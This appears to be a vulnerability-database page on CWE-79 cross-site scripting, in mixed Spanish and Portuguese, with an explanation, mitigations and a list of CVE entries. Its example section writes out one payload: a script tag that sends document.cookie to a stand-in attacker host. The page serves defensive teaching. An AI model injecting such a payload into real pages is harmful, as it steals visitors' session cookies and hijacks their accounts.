Fallos del tipo CWE-79

30.237 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-45800MEDIUMMultiple mXSS found in snappymail HTML parserEPSS 0.3%CVE-2025-54300HIGHExtension - norrnext.com - Stored XSS vulnerability in Quantum Manager component 1.0.0-3.2.0 for JoomlaEPSS 0.3%CVE-2025-2314MEDIUMUser Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor <= 3.13.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-4489MEDIUMRoyal Elementor Addons and Templates <= 1.3.976 - Authenticated (Author+) Stored Cross-Site Scripting via SVG UploadsEPSS 0.3%CVE-2026-1985MEDIUMPress3D <= 1.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via Link URL Parameter in 3D Model BlockEPSS 0.3%CVE-2026-30238MEDIUMGroup-Office: Reflected XSS in JavaScript contextEPSS 0.3%CVE-2026-72832MEDIUMGrav before 2.0.13 Stored XSS via quoted-attribute bypassEPSS 0.3%CVE-2026-3610MEDIUMHSC Cybersecurity Mailinspector URL mliUserValidation.php cross site scriptingEPSS 0.3%CVE-2024-5426MEDIUMPhoto Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.23 - Authenticated (Contributor+) Stored Cross-Site Scripting via Zipped SVGEPSS 0.3%CVE-2025-52357MEDIUMCross-Site Scripting (XSS) vulnerability exists in the ping diagnostic feature of FiberHome FD602GW-DX-R410 router (firmware V2.2.14), allowEPSS 0.3%CVE-2022-45176MEDIUMAn issue was discovered in LIVEBOX Collaboration vDesk through v018. Stored Cross-site Scripting (XSS) can occur under the /api/v1/getbodyfiEPSS 0.3%CVE-2024-3565MEDIUMContent Blocks (Custom Post Widget) <= 3.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via content_block ShortcodeEPSS 0.3%CVE-2024-6283MEDIUMDethemeKit For Elementor <= 2.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via URL Parameter of the De Gallery WidgetEPSS 0.3%CVE-2025-40648MEDIUMStored Cross-Site Scripting (XSS) vulnerability in Issabel productsEPSS 0.3%CVE-2025-20246MEDIUMA vulnerability in Cisco Webex could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. A vulnerabEPSS 0.3%CVE-2026-87091HIGHWelcart e-Commerce <= 2.12.2 - Unauthenticated Stored Cross-Site Scripting via Settlement Notification ParametersEPSS 0.3%CVE-2024-5177MEDIUMHash Elements <= 1.3.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via url Parameter in Multiple WidgetsEPSS 0.3%CVE-2024-9445MEDIUMDisplay Medium Posts <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via display_medium_posts ShortcodeEPSS 0.3%CVE-2024-37489MEDIUMWordPress Ocean Extra plugin <= 2.2.9 - Authenticated Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-63353CRITICALAffected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page. This EPSS 0.3%